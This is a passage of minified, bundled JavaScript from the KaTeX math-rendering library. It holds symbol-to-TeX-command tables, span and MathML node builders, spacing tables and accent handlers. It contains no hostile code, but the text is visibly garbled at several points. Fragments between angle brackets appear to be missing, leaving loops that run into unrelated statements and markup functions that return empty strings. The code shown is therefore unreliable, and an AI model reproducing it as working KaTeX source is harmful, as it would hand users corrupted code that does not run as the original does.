e="","\\gt",!0);V(H,ie,Ee,"\u2208","\\in",!0);V(H,ie,Ee,"\uE020","\\@not");V(H,ie,Ee,"\u2282","\\subset",!0);V(H,ie,Ee,"\u2283","\\supset",!0);V(H,ie,Ee,"\u2286","\\subseteq",!0);V(H,ie,Ee,"\u2287","\\supseteq",!0);V(H,we,Ee,"\u2288","\\nsubseteq",!0);V(H,we,Ee,"\u2289","\\nsupseteq",!0);V(H,ie,Ee,"\u22A8","\\models");V(H,ie,Ee,"\u2190","\\leftarrow",!0);V(H,ie,Ee,"\u2264","\\le");V(H,ie,Ee,"\u2264","\\leq",!0);V(H,ie,Ee,"<","\\lt",!0);V(H,ie,Ee,"\u2192","\\rightarrow",!0);V(H,ie,Ee,"\u2192","\\to");V(H,we,Ee,"\u2271","\\ngeq",!0);V(H,we,Ee,"\u2270","\\nleq",!0);V(H,ie,mu,"\xA0","\\ ");V(H,ie,mu,"\xA0","\\space");V(H,ie,mu,"\xA0","\\nobreakspace");V(ct,ie,mu,"\xA0","\\ ");V(ct,ie,mu,"\xA0"," ");V(ct,ie,mu,"\xA0","\\space");V(ct,ie,mu,"\xA0","\\nobreakspace");V(H,ie,mu,null,"\\nobreak");V(H,ie,mu,null,"\\allowbreak");V(H,ie,A3,",",",");V(H,ie,A3,";",";");V(H,we,Ot,"\u22BC","\\barwedge",!0);V(H,we,Ot,"\u22BB","\\veebar",!0);V(H,ie,Ot,"\u2299","\\odot",!0);V(H,ie,Ot,"\u2295","\\oplus",!0);V(H,ie,Ot,"\u2297","\\otimes",!0);V(H,ie,De,"\u2202","\\partial",!0);V(H,ie,Ot,"\u2298","\\oslash",!0);V(H,we,Ot,"\u229A","\\circledcirc",!0);V(H,we,Ot,"\u22A1","\\boxdot",!0);V(H,ie,Ot,"\u25B3","\\bigtriangleup");V(H,ie,Ot,"\u25BD","\\bigtriangledown");V(H,ie,Ot,"\u2020","\\dagger");V(H,ie,Ot,"\u22C4","\\diamond");V(H,ie,Ot,"\u22C6","\\star");V(H,ie,Ot,"\u25C3","\\triangleleft");V(H,ie,Ot,"\u25B9","\\triangleright");V(H,ie,ro,"{","\\{");V(ct,ie,De,"{","\\{");V(ct,ie,De,"{","\\textbraceleft");V(H,ie,rs,"}","\\}");V(ct,ie,De,"}","\\}");V(ct,ie,De,"}","\\textbraceright");V(H,ie,ro,"{","\\lbrace");V(H,ie,rs,"}","\\rbrace");V(H,ie,ro,"[","\\lbrack",!0);V(ct,ie,De,"[","\\lbrack",!0);V(H,ie,rs,"]","\\rbrack",!0);V(ct,ie,De,"]","\\rbrack",!0);V(H,ie,ro,"(","\\lparen",!0);V(H,ie,rs,")","\\rparen",!0);V(ct,ie,De,"<","\\textless",!0);V(ct,ie,De,">","\\textgreater",!0);V(H,ie,ro,"\u230A","\\lfloor",!0);V(H,ie,rs,"\u230B","\\rfloor",!0);V(H,ie,ro,"\u2308","\\lceil",!0);V(H,ie,rs,"\u2309","\\rceil",!0);V(H,ie,De,"\\","\\backslash");V(H,ie,De,"\u2223","|");V(H,ie,De,"\u2223","\\vert");V(ct,ie,De,"|","\\textbar",!0);V(H,ie,De,"\u2225","\\|");V(H,ie,De,"\u2225","\\Vert");V(ct,ie,De,"\u2225","\\textbardbl");V(ct,ie,De,"~","\\textasciitilde");V(ct,ie,De,"\\","\\textbackslash");V(ct,ie,De,"^","\\textasciicircum");V(H,ie,Ee,"\u2191","\\uparrow",!0);V(H,ie,Ee,"\u21D1","\\Uparrow",!0);V(H,ie,Ee,"\u2193","\\downarrow",!0);V(H,ie,Ee,"\u21D3","\\Downarrow",!0);V(H,ie,Ee,"\u2195","\\updownarrow",!0);V(H,ie,Ee,"\u21D5","\\Updownarrow",!0);V(H,ie,ki,"\u2210","\\coprod");V(H,ie,ki,"\u22C1","\\bigvee");V(H,ie,ki,"\u22C0","\\bigwedge");V(H,ie,ki,"\u2A04","\\biguplus");V(H,ie,ki,"\u22C2","\\bigcap");V(H,ie,ki,"\u22C3","\\bigcup");V(H,ie,ki,"\u222B","\\int");V(H,ie,ki,"\u222B","\\intop");V(H,ie,ki,"\u222C","\\iint");V(H,ie,ki,"\u222D","\\iiint");V(H,ie,ki,"\u220F","\\prod");V(H,ie,ki,"\u2211","\\sum");V(H,ie,ki,"\u2A02","\\bigotimes");V(H,ie,ki,"\u2A01","\\bigoplus");V(H,ie,ki,"\u2A00","\\bigodot");V(H,ie,ki,"\u222E","\\oint");V(H,ie,ki,"\u222F","\\oiint");V(H,ie,ki,"\u2230","\\oiiint");V(H,ie,ki,"\u2A06","\\bigsqcup");V(H,ie,ki,"\u222B","\\smallint");V(ct,ie,S0,"\u2026","\\textellipsis");V(H,ie,S0,"\u2026","\\mathellipsis");V(ct,ie,S0,"\u2026","\\ldots",!0);V(H,ie,S0,"\u2026","\\ldots",!0);V(H,ie,S0,"\u22EF","\\@cdots",!0);V(H,ie,S0,"\u22F1","\\ddots",!0);V(H,ie,De,"\u22EE","\\varvdots");V(ct,ie,De,"\u22EE","\\varvdots");V(H,ie,Wn,"\u02CA","\\acute");V(H,ie,Wn,"\u02CB","\\grave");V(H,ie,Wn,"\xA8","\\ddot");V(H,ie,Wn,"~","\\tilde");V(H,ie,Wn,"\u02C9","\\bar");V(H,ie,Wn,"\u02D8","\\breve");V(H,ie,Wn,"\u02C7","\\check");V(H,ie,Wn,"^","\\hat");V(H,ie,Wn,"\u20D7","\\vec");V(H,ie,Wn,"\u02D9","\\dot");V(H,ie,Wn,"\u02DA","\\mathring");V(H,ie,rr,"\uE131","\\@imath");V(H,ie,rr,"\uE237","\\@jmath");V(H,ie,De,"\u0131","\u0131");V(H,ie,De,"\u0237","\u0237");V(ct,ie,De,"\u0131","\\i",!0);V(ct,ie,De,"\u0237","\\j",!0);V(ct,ie,De,"\xDF","\\ss",!0);V(ct,ie,De,"\xE6","\\ae",!0);V(ct,ie,De,"\u0153","\\oe",!0);V(ct,ie,De,"\xF8","\\o",!0);V(ct,ie,De,"\xC6","\\AE",!0);V(ct,ie,De,"\u0152","\\OE",!0);V(ct,ie,De,"\xD8","\\O",!0);V(ct,ie,Wn,"\u02CA","\\'");V(ct,ie,Wn,"\u02CB","\\`");V(ct,ie,Wn,"\u02C6","\\^");V(ct,ie,Wn,"\u02DC","\\~");V(ct,ie,Wn,"\u02C9","\\=");V(ct,ie,Wn,"\u02D8","\\u");V(ct,ie,Wn,"\u02D9","\\.");V(ct,ie,Wn,"\xB8","\\c");V(ct,ie,Wn,"\u02DA","\\r");V(ct,ie,Wn,"\u02C7","\\v");V(ct,ie,Wn,"\xA8",'\\"');V(ct,ie,Wn,"\u02DD","\\H");V(ct,ie,Wn,"\u25EF","\\textcircled");JV={"--":!0,"---":!0,"``":!0,"''":!0};V(ct,ie,De,"\u2013","--",!0);V(ct,ie,De,"\u2013","\\textendash");V(ct,ie,De,"\u2014","---",!0);V(ct,ie,De,"\u2014","\\textemdash");V(ct,ie,De,"\u2018","`",!0);V(ct,ie,De,"\u2018","\\textquoteleft");V(ct,ie,De,"\u2019","'",!0);V(ct,ie,De,"\u2019","\\textquoteright");V(ct,ie,De,"\u201C","``",!0);V(ct,ie,De,"\u201C","\\textquotedblleft");V(ct,ie,De,"\u201D","''",!0);V(ct,ie,De,"\u201D","\\textquotedblright");V(H,ie,De,"\xB0","\\degree",!0);V(ct,ie,De,"\xB0","\\degree");V(ct,ie,De,"\xB0","\\textdegree",!0);V(H,ie,De,"\xA3","\\pounds");V(H,ie,De,"\xA3","\\mathsterling",!0);V(ct,ie,De,"\xA3","\\pounds");V(ct,ie,De,"\xA3","\\textsterling",!0);V(H,we,De,"\u2720","\\maltese");V(ct,we,De,"\u2720","\\maltese");bV='0123456789/@."';for(l3=0;l30)return fl(a,h,i,r,s.concat(f));if(u){var d,p;if(u==="boldsymbol"){var m=DTe(a,i,r,s,n);d=m.fontName,p=[m.fontClass]}else l?(d=rU[u].fontName,p=[u]):(d=d3(u,r.fontWeight,r.fontShape),p=[u,r.fontWeight,r.fontShape]);if(_3(a,d,i).metrics)return fl(a,d,i,r,s.concat(p));if(JV.hasOwnProperty(a)&&d.slice(0,10)==="Typewriter"){for(var g=[],y=0;y{if(bh(t.classes)!==bh(e.classes)||t.skew!==e.skew||t.maxFontSize!==e.maxFontSize)return!1;if(t.classes.length===1){var r=t.classes[0];if(r==="mbin"||r==="mord")return!1}for(var n in t.style)if(t.style.hasOwnProperty(n)&&t.style[n]!==e.style[n])return!1;for(var i in e.style)if(e.style.hasOwnProperty(i)&&t.style[i]!==e.style[i])return!1;return!0},"canCombine"),NTe=o(t=>{for(var e=0;er&&(r=s.height),s.depth>n&&(n=s.depth),s.maxFontSize>i&&(i=s.maxFontSize)}e.height=r,e.depth=n,e.maxFontSize=i},"sizeElementFromChildren"),Ss=o(function(e,r,n,i){var a=new fd(e,r,n,i);return cA(a),a},"makeSpan"),eU=o((t,e,r,n)=>new fd(t,e,r,n),"makeSvgSpan"),MTe=o(function(e,r,n){var i=Ss([e],[],r);return i.height=Math.max(n||r.fontMetrics().defaultRuleThickness,r.minRuleThickness),i.style.borderBottomWidth=St(i.height),i.maxFontSize=1,i},"makeLineSpan"),ITe=o(function(e,r,n,i){var a=new Ky(e,r,n,i);return cA(a),a},"makeAnchor"),tU=o(function(e){var r=new hd(e);return cA(r),r},"makeFragment"),OTe=o(function(e,r){return e instanceof hd?Ss([],[e],r):e},"wrapFragment"),PTe=o(function(e){if(e.positionType==="individualShift"){for(var r=e.children,n=[r[0]],i=-r[0].shift-r[0].elem.depth,a=i,s=1;s{var r=Ss(["mspace"],[],e),n=ii(t,e);return r.style.marginRight=St(n),r},"makeGlue"),d3=o(function(e,r,n){var i="";switch(e){case"amsrm":i="AMS";break;case"textrm":i="Main";break;case"textsf":i="SansSerif";break;case"texttt":i="Typewriter";break;default:i=e}var a;return r==="textbf"&&n==="textit"?a="BoldItalic":r==="textbf"?a="Bold":r==="textit"?a="Italic":a="Regular",i+"-"+a},"retrieveTextFontName"),rU={mathbf:{variant:"bold",fontName:"Main-Bold"},mathrm:{variant:"normal",fontName:"Main-Regular"},textit:{variant:"italic",fontName:"Main-Italic"},mathit:{variant:"italic",fontName:"Main-Italic"},mathnormal:{variant:"italic",fontName:"Math-Italic"},mathsfit:{variant:"sans-serif-italic",fontName:"SansSerif-Italic"},mathbb:{variant:"double-struck",fontName:"AMS-Regular"},mathcal:{variant:"script",fontName:"Caligraphic-Regular"},mathfrak:{variant:"fraktur",fontName:"Fraktur-Regular"},mathscr:{variant:"script",fontName:"Script-Regular"},mathsf:{variant:"sans-serif",fontName:"SansSerif-Regular"},mathtt:{variant:"monospace",fontName:"Typewriter-Regular"}},nU={vec:["vec",.471,.714],oiintSize1:["oiintSize1",.957,.499],oiintSize2:["oiintSize2",1.472,.659],oiiintSize1:["oiiintSize1",1.304,.499],oiiintSize2:["oiiintSize2",1.98,.659]},$Te=o(function(e,r){var[n,i,a]=nU[e],s=new Zl(n),l=new dl([s],{width:St(i),height:St(a),style:"width:"+St(i),viewBox:"0 0 "+1e3*i+" "+1e3*a,preserveAspectRatio:"xMinYMin"}),u=eU(["overlay"],[l],r);return u.height=a,u.style.height=St(a),u.style.width=St(i),u},"staticSvg"),$e={fontMap:rU,makeSymbol:fl,mathsym:_Te,makeSpan:Ss,makeSvgSpan:eU,makeLineSpan:MTe,makeAnchor:ITe,makeFragment:tU,wrapFragment:OTe,makeVList:BTe,makeOrd:LTe,makeGlue:FTe,staticSvg:$Te,svgData:nU,tryCombineChars:NTe},ni={number:3,unit:"mu"},ud={number:4,unit:"mu"},uu={number:5,unit:"mu"},zTe={mord:{mop:ni,mbin:ud,mrel:uu,minner:ni},mop:{mord:ni,mop:ni,mrel:uu,minner:ni},mbin:{mord:ud,mop:ud,mopen:ud,minner:ud},mrel:{mord:uu,mop:uu,mopen:uu,minner:uu},mopen:{},mclose:{mop:ni,mbin:ud,mrel:uu,minner:ni},mpunct:{mord:ni,mop:ni,mrel:uu,mopen:ni,mclose:ni,mpunct:ni,minner:ni},minner:{mord:ni,mop:ni,mbin:ud,mrel:uu,mopen:ni,mpunct:ni,minner:ni}},GTe={mord:{mop:ni},mop:{mord:ni,mop:ni},mbin:{},mrel:{},mopen:{},mclose:{mop:ni},mpunct:{},minner:{mop:ni}},iU={},w3={},k3={};o(Mt,"defineFunction");o(dd,"defineFunctionBuilders");E3=o(function(e){return e.type==="ordgroup"&&e.body.length===1?e.body[0]:e},"normalizeArgument"),gi=o(function(e){return e.type==="ordgroup"?e.body:[e]},"ordargument"),du=$e.makeSpan,VTe=["leftmost","mbin","mopen","mrel","mop","mpunct"],UTe=["rightmost","mrel","mclose","mpunct"],HTe={display:nr.DISPLAY,text:nr.TEXT,script:nr.SCRIPT,scriptscript:nr.SCRIPTSCRIPT},qTe={mord:"mord",mop:"mop",mbin:"mbin",mrel:"mrel",mopen:"mopen",mclose:"mclose",mpunct:"mpunct",minner:"minner"},Ii=o(function(e,r,n,i){i===void 0&&(i=[null,null]);for(var a=[],s=0;s{var v=y.classes[0],x=g.classes[0];v==="mbin"&&er.contains(UTe,x)?y.classes[0]="mord":x==="mbin"&&er.contains(VTe,v)&&(g.classes[0]="mord")},{node:d},p,m),kV(a,(g,y)=>{var v=J7(y),x=J7(g),b=v&&x?g.hasClass("mtight")?GTe[v][x]:zTe[v][x]:null;if(b)return $e.makeGlue(b,h)},{node:d},p,m),a},"buildExpression"),kV=o(function t(e,r,n,i,a){i&&e.push(i);for(var s=0;sp=>{e.splice(d+1,0,p),s++})(s)}i&&e.pop()},"traverseNonSpaceNodes"),aU=o(function(e){return e instanceof hd||e instanceof Ky||e instanceof fd&&e.hasClass("enclosing")?e:null},"checkPartialGroup"),WTe=o(function t(e,r){var n=aU(e);if(n){var i=n.children;if(i.length){if(r==="right")return t(i[i.length-1],"right");if(r==="left")return t(i[0],"left")}}return e},"getOutermostNode"),J7=o(function(e,r){return e?(r&&(e=WTe(e,r)),qTe[e.classes[0]]||null):null},"getTypeOfDomTree"),Zy=o(function(e,r){var n=["nulldelimiter"].concat(e.baseSizingClasses());return du(r.concat(n))},"makeNullDelimiter"),Hr=o(function(e,r,n){if(!e)return du();if(w3[e.type]){var i=w3[e.type](e,r);if(n&&r.size!==n.size){i=du(r.sizingClasses(n),[i],r);var a=r.sizeMultiplier/n.sizeMultiplier;i.height*=a,i.depth*=a}return i}else throw new gt("Got group of unknown type: '"+e.type+"'")},"buildGroup");o(p3,"buildHTMLUnbreakable");o(eA,"buildHTML");o(sU,"newDocumentFragment");es=class{static{o(this,"MathNode")}constructor(e,r,n){this.type=void 0,this.attributes=void 0,this.children=void 0,this.classes=void 0,this.type=e,this.attributes={},this.children=r||[],this.classes=n||[]}setAttribute(e,r){this.attributes[e]=r}getAttribute(e){return this.attributes[e]}toNode(){var e=document.createElementNS("http://www.w3.org/1998/Math/MathML",this.type);for(var r in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,r)&&e.setAttribute(r,this.attributes[r]);this.classes.length>0&&(e.className=bh(this.classes));for(var n=0;n0&&(e+=' class ="'+er.escape(bh(this.classes))+'"'),e+=">";for(var n=0;n",e}toText(){return this.children.map(e=>e.toText()).join("")}},_o=class{static{o(this,"TextNode")}constructor(e){this.text=void 0,this.text=e}toNode(){return document.createTextNode(this.text)}toMarkup(){return er.escape(this.toText())}toText(){return this.text}},tA=class{static{o(this,"SpaceNode")}constructor(e){this.width=void 0,this.character=void 0,this.width=e,e>=.05555&&e<=.05556?this.character="\u200A":e>=.1666&&e<=.1667?this.character="\u2009":e>=.2222&&e<=.2223?this.character="\u2005":e>=.2777&&e<=.2778?this.character="\u2005\u200A":e>=-.05556&&e<=-.05555?this.character="\u200A\u2063":e>=-.1667&&e<=-.1666?this.character="\u2009\u2063":e>=-.2223&&e<=-.2222?this.character="\u205F\u2063":e>=-.2778&&e<=-.2777?this.character="\u2005\u2063":this.character=null}toNode(){if(this.character)return document.createTextNode(this.character);var e=document.createElementNS("http://www.w3.org/1998/Math/MathML","mspace");return e.setAttribute("width",St(this.width)),e}toMarkup(){return this.character?""+this.character+"":''}toText(){return this.character?this.character:" "}},mt={MathNode:es,TextNode:_o,SpaceNode:tA,newDocumentFragment:sU},Lo=o(function(e,r,n){return Nn[r][e]&&Nn[r][e].replace&&e.charCodeAt(0)!==55349&&!(JV.hasOwnProperty(e)&&n&&(n.fontFamily&&n.fontFamily.slice(4,6)==="tt"||n.font&&n.font.slice(4,6)==="tt"))&&(e=Nn[r][e].replace),new mt.TextNode(e)},"makeText"),uA=o(function(e){return e.length===1?e[0]:new mt.MathNode("mrow",e)},"makeRow"),hA=o(function(e,r){if(r.fontFamily==="texttt")return"monospace";if(r.fontFamily==="textsf")return r.fontShape==="textit"&&r.fontWeight==="textbf"?"sans-serif-bold-italic":r.fontShape==="textit"?"sans-serif-italic":r.fontWeight==="textbf"?"bold-sans-serif":"sans-serif";if(r.fontShape==="textit"&&r.fontWeight==="textbf")return"bold-italic";if(r.fontShape==="textit")return"italic";if(r.fontWeight==="textbf")return"bold";var n=r.font;if(!n||n==="mathnormal")return null;var i=e.mode;if(n==="mathit")return"italic";if(n==="boldsymbol")return e.type==="textord"?"bold":"bold-italic";if(n==="mathbf")return"bold";if(n==="mathbb")return"double-struck";if(n==="mathsfit")return"sans-serif-italic";if(n==="mathfrak")return"fraktur";if(n==="mathscr"||n==="mathcal")return"script";if(n==="mathsf")return"sans-serif";if(n==="mathtt")return"monospace";var a=e.text;if(er.contains(["\\imath","\\jmath"],a))return null;Nn[i][a]&&Nn[i][a].replace&&(a=Nn[i][a].replace);var s=$e.fontMap[n].fontName;return lA(a,s,i)?$e.fontMap[n].variant:null},"getVariant");o($7,"isNumberPunctuation");As=o(function(e,r,n){if(e.length===1){var i=wn(e[0],r);return n&&i instanceof es&&i.type==="mo"&&(i.setAttribute("lspace","0em"),i.setAttribute("rspace","0em")),[i]}for(var a=[],s,l=0;l=1&&(s.type==="mn"||$7(s))){var h=u.children[0];h instanceof es&&h.type==="mn"&&(h.children=[...s.children,...h.children],a.pop())}else if(s.type==="mi"&&s.children.length===1){var f=s.children[0];if(f instanceof _o&&f.text==="\u0338"&&(u.type==="mo"||u.type==="mi"||u.type==="mn")){var d=u.children[0];d instanceof _o&&d.text.length>0&&(d.text=d.text.slice(0,1)+"\u0338"+d.text.slice(1),a.pop())}}}a.push(u),s=u}return a},"buildExpression"),Th=o(function(e,r,n){return uA(As(e,r,n))},"buildExpressionRow"),wn=o(function(e,r){if(!e)return new mt.MathNode("mrow");if(k3[e.type]){var n=k3[e.type](e,r);return n}else throw new gt("Got group of unknown type: '"+e.type+"'")},"buildGroup");o(EV,"buildMathML");oU=o(function(e){return new b3({style:e.displayMode?nr.DISPLAY:nr.TEXT,maxSize:e.maxSize,minRuleThickness:e.minRuleThickness})},"optionsFromSettings"),lU=o(function(e,r){if(r.displayMode){var n=["katex-display"];r.leqno&&n.push("leqno"),r.fleqn&&n.push("fleqn"),e=$e.makeSpan(n,[e])}return e},"displayWrap"),YTe=o(function(e,r,n){var i=oU(n),a;if(n.output==="mathml")return EV(e,r,i,n.displayMode,!0);if(n.output==="html"){var s=eA(e,i);a=$e.makeSpan(["katex"],[s])}else{var l=EV(e,r,i,n.displayMode,!1),u=eA(e,i);a=$e.makeSpan(["katex"],[l,u])}return lU(a,n)},"buildTree"),XTe=o(function(e,r,n){var i=oU(n),a=eA(e,i),s=$e.makeSpan(["katex"],[a]);return lU(s,n)},"buildHTMLTree"),jTe={widehat:"^",widecheck:"\u02C7",widetilde:"~",utilde:"~",overleftarrow:"\u2190",underleftarrow:"\u2190",xleftarrow:"\u2190",overrightarrow:"\u2192",underrightarrow:"\u2192",xrightarrow:"\u2192",underbrace:"\u23DF",overbrace:"\u23DE",overgroup:"\u23E0",undergroup:"\u23E1",overleftrightarrow:"\u2194",underleftrightarrow:"\u2194",xleftrightarrow:"\u2194",Overrightarrow:"\u21D2",xRightarrow:"\u21D2",overleftharpoon:"\u21BC",xleftharpoonup:"\u21BC",overrightharpoon:"\u21C0",xrightharpoonup:"\u21C0",xLeftarrow:"\u21D0",xLeftrightarrow:"\u21D4",xhookleftarrow:"\u21A9",xhookrightarrow:"\u21AA",xmapsto:"\u21A6",xrightharpoondown:"\u21C1",xleftharpoondown:"\u21BD",xrightleftharpoons:"\u21CC",xleftrightharpoons:"\u21CB",xtwoheadleftarrow:"\u219E",xtwoheadrightarrow:"\u21A0",xlongequal:"=",xtofrom:"\u21C4",xrightleftarrows:"\u21C4",xrightequilibrium:"\u21CC",xleftequilibrium:"\u21CB","\\cdrightarrow":"\u2192","\\cdleftarrow":"\u2190","\\cdlongequal":"="},KTe=o(function(e){var r=new mt.MathNode("mo",[new mt.TextNode(jTe[e.replace(/^\\/,"")])]);return r.setAttribute("stretchy","true"),r},"mathMLnode"),QTe={overrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],overleftarrow:[["leftarrow"],.888,522,"xMinYMin"],underrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],underleftarrow:[["leftarrow"],.888,522,"xMinYMin"],xrightarrow:[["rightarrow"],1.469,522,"xMaxYMin"],"\\cdrightarrow":[["rightarrow"],3,522,"xMaxYMin"],xleftarrow:[["leftarrow"],1.469,522,"xMinYMin"],"\\cdleftarrow":[["leftarrow"],3,522,"xMinYMin"],Overrightarrow:[["doublerightarrow"],.888,560,"xMaxYMin"],xRightarrow:[["doublerightarrow"],1.526,560,"xMaxYMin"],xLeftarrow:[["doubleleftarrow"],1.526,560,"xMinYMin"],overleftharpoon:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoonup:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoondown:[["leftharpoondown"],.888,522,"xMinYMin"],overrightharpoon:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoonup:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoondown:[["rightharpoondown"],.888,522,"xMaxYMin"],xlongequal:[["longequal"],.888,334,"xMinYMin"],"\\cdlongequal":[["longequal"],3,334,"xMinYMin"],xtwoheadleftarrow:[["twoheadleftarrow"],.888,334,"xMinYMin"],xtwoheadrightarrow:[["twoheadrightarrow"],.888,334,"xMaxYMin"],overleftrightarrow:[["leftarrow","rightarrow"],.888,522],overbrace:[["leftbrace","midbrace","rightbrace"],1.6,548],underbrace:[["leftbraceunder","midbraceunder","rightbraceunder"],1.6,548],underleftrightarrow:[["leftarrow","rightarrow"],.888,522],xleftrightarrow:[["leftarrow","rightarrow"],1.75,522],xLeftrightarrow:[["doubleleftarrow","doublerightarrow"],1.75,560],xrightleftharpoons:[["leftharpoondownplus","rightharpoonplus"],1.75,716],xleftrightharpoons:[["leftharpoonplus","rightharpoondownplus"],1.75,716],xhookleftarrow:[["leftarrow","righthook"],1.08,522],xhookrightarrow:[["lefthook","rightarrow"],1.08,522],overlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],underlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],overgroup:[["leftgroup","rightgroup"],.888,342],undergroup:[["leftgroupunder","rightgroupunder"],.888,342],xmapsto:[["leftmapsto","rightarrow"],1.5,522],xtofrom:[["leftToFrom","rightToFrom"],1.75,528],xrightleftarrows:[["baraboveleftarrow","rightarrowabovebar"],1.75,901],xrightequilibrium:[["baraboveshortleftharpoon","rightharpoonaboveshortbar"],1.75,716],xleftequilibrium:[["shortbaraboveleftharpoon","shortrightharpoonabovebar"],1.75,716]},ZTe=o(function(e){return e.type==="ordgroup"?e.body.length:1},"groupLength"),JTe=o(function(e,r){function n(){var l=4e5,u=e.label.slice(1);if(er.contains(["widehat","widecheck","widetilde","utilde"],u)){var h=e,f=ZTe(h.base),d,p,m;if(f>5)u==="widehat"||u==="widecheck"?(d=420,l=2364,m=.42,p=u+"4"):(d=312,l=2340,m=.34,p="tilde4");else{var g=[1,1,2,2,3,3][f];u==="widehat"||u==="widecheck"?(l=[0,1062,2364,2364,2364][g],d=[0,239,300,360,420][g],m=[0,.24,.3,.3,.36,.42][g],p=u+g):(l=[0,600,1033,2339,2340][g],d=[0,260,286,306,312][g],m=[0,.26,.286,.3,.306,.34][g],p="tilde"+g)}var y=new Zl(p),v=new dl([y],{width:"100%",height:St(m),viewBox:"0 0 "+l+" "+d,preserveAspectRatio:"none"});return{span:$e.makeSvgSpan([],[v],r),minWidth:0,height:m}}else{var x=[],b=QTe[u],[T,S,w]=b,k=w/1e3,A=T.length,C,R;if(A===1){var I=b[3];C=["hide-tail"],R=[I]}else if(A===2)C=["halfarrow-left","halfarrow-right"],R=["xMinYMin","xMaxYMin"];else if(A===3)C=["brace-left","brace-center","brace-right"],R=["xMinYMin","xMidYMin","xMaxYMin"];else throw new Error(`Correct katexImagesData or update code here to support + `+A+" children.");for(var L=0;L0&&(i.style.minWidth=St(a)),i},"svgSpan"),ewe=o(function(e,r,n,i,a){var s,l=e.height+e.depth+n+i;if(/fbox|color|angl/.test(r)){if(s=$e.makeSpan(["stretchy",r],[],a),r==="fbox"){var u=a.color&&a.getColor();u&&(s.style.borderColor=u)}}else{var h=[];/^[bx]cancel$/.test(r)&&h.push(new Qy({x1:"0",y1:"0",x2:"100%",y2:"100%","stroke-width":"0.046em"})),/^x?cancel$/.test(r)&&h.push(new Qy({x1:"0",y1:"100%",x2:"100%",y2:"0","stroke-width":"0.046em"}));var f=new dl(h,{width:"100%",height:St(l)});s=$e.makeSvgSpan([],[f],a)}return s.height=l,s.style.height=St(l),s},"encloseSpan"),pu={encloseSpan:ewe,mathMLnode:KTe,svgSpan:JTe};o(Tr,"assertNodeType");o(fA,"assertSymbolNodeType");o(D3,"checkSymbolNodeType");dA=o((t,e)=>{var r,n,i;t&&t.type==="supsub"?(n=Tr(t.base,"accent"),r=n.base,t.base=r,i=ETe(Hr(t,e)),t.base=n):(n=Tr(t,"accent"),r=n.base);var a=Hr(r,e.havingCrampedStyle()),s=n.isShifty&&er.isCharacterBox(r),l=0;if(s){var u=er.getBaseElem(r),h=Hr(u,e.havingCrampedStyle());l=xV(h).skew}var f=n.label==="\\c",d=f?a.height+a.depth:Math.min(a.height,e.fontMetrics().xHeight),p;if(n.isStretchy)p=pu.svgSpan(n,e),p=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:a},{type:"elem",elem:p,wrapperClasses:["svg-align"],wrapperStyle:l>0?{width:"calc(100% - "+St(2*l)+")",marginLeft:St(2*l)}:void 0}]},e);else{var m,g;n.label==="\\vec"?(m=$e.staticSvg("vec",e),g=$e.svgData.vec[1]):(m=$e.makeOrd({mode:n.mode,text:n.label},e,"textord"),m=xV(m),m.italic=0,g=m.width,f&&(d+=m.depth)),p=$e.makeSpan(["accent-body"],[m]);var y=n.label==="\\textcircled";y&&(p.classes.push("accent-full"),d=a.height);var v=l;y||(v-=g/2),p.style.left=St(v),n.label==="\\textcircled"&&(p.style.top=".2em"),p=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:a},{type:"kern",size:-d},{type:"elem",elem:p}]},e)}var x=$e.makeSpan(["mord","accent"],[p],e);return i?(i.children[0]=x,i.height=Math.max(x.height,i.height),i.classes[0]="mord",i):x},"htmlBuilder$a"),cU=o((t,e)=>{var r=t.isStretchy?pu.mathMLnode(t.label):new mt.MathNode("mo",[Lo(t.label,t.mode)]),n=new mt.MathNode("mover",[wn(t.base,e),r]);return n.setAttribute("accent","true"),n},"mathmlBuilder$9"),twe=new RegExp(["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring"].map(t=>"\\"+t).join("|"));Mt({type:"accent",names:["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring","\\widecheck","\\widehat","\\widetilde","\\overrightarrow","\\overleftarrow","\\Overrightarrow","\\overleftrightarrow","\\overgroup","\\overlinesegment","\\overleftharpoon","\\overrightharpoon"],props:{numArgs:1},handler:o((t,e)=>{var r=E3(e[0]),n=!twe.test(t.funcName),i=!n||t.funcName==="\\widehat"||t.funcName==="\\widetilde"||t.funcName==="\\widecheck";return{type:"accent",mode:t.parser.mode,label:t.funcName,isStretchy:n,isShifty:i,base:r}},"handler"),htmlBuilder:dA,mathmlBuilder:cU});Mt({type:"accent",names:["\\'","\\`","\\^","\\~","\\=","\\u","\\.",'\\"',"\\c","\\r","\\H","\\v","\\textcircled"],props:{numArgs:1,allowedInText:!0,allowedInMath:!0,argTypes:["primitive"]},handler:o((t,e)=>{var r=e[0],n=t.parser.mode;return n==="math"&&(t.parser.settings.reportNonstrict("mathVsTextAccents","LaTeX's accent "+t.funcName+" works only in text mode"),n="text"),{type:"accent",mode:n,label:t.funcName,isStretchy:!1,isShifty:!0,base:r}},"handler"),htmlBuilder:dA,mathmlBuilder:cU});Mt({type:"accentUnder",names:["\\underleftarrow","\\underrightarrow","\\underleftrightarrow","\\undergroup","\\underlinesegment","\\utilde"],props:{numArgs:1},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0];return{type:"accentUnder",mode:r.mode,label:n,base:i}},"handler"),htmlBuilder:o((t,e)=>{var r=Hr(t.base,e),n=pu.svgSpan(t,e),i=t.label==="\\utilde"?.12:0,a=$e.makeVList({positionType:"top",positionData:r.height,children:[{type:"elem",elem:n,wrapperClasses:["svg-align"]},{type:"kern",size:i},{type:"elem",elem:r}]},e);return $e.makeSpan(["mord","accentunder"],[a],e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=pu.mathMLnode(t.label),n=new mt.MathNode("munder",[wn(t.base,e),r]);return n.setAttribute("accentunder","true"),n},"mathmlBuilder")});m3=o(t=>{var e=new mt.MathNode("mpadded",t?[t]:[]);return 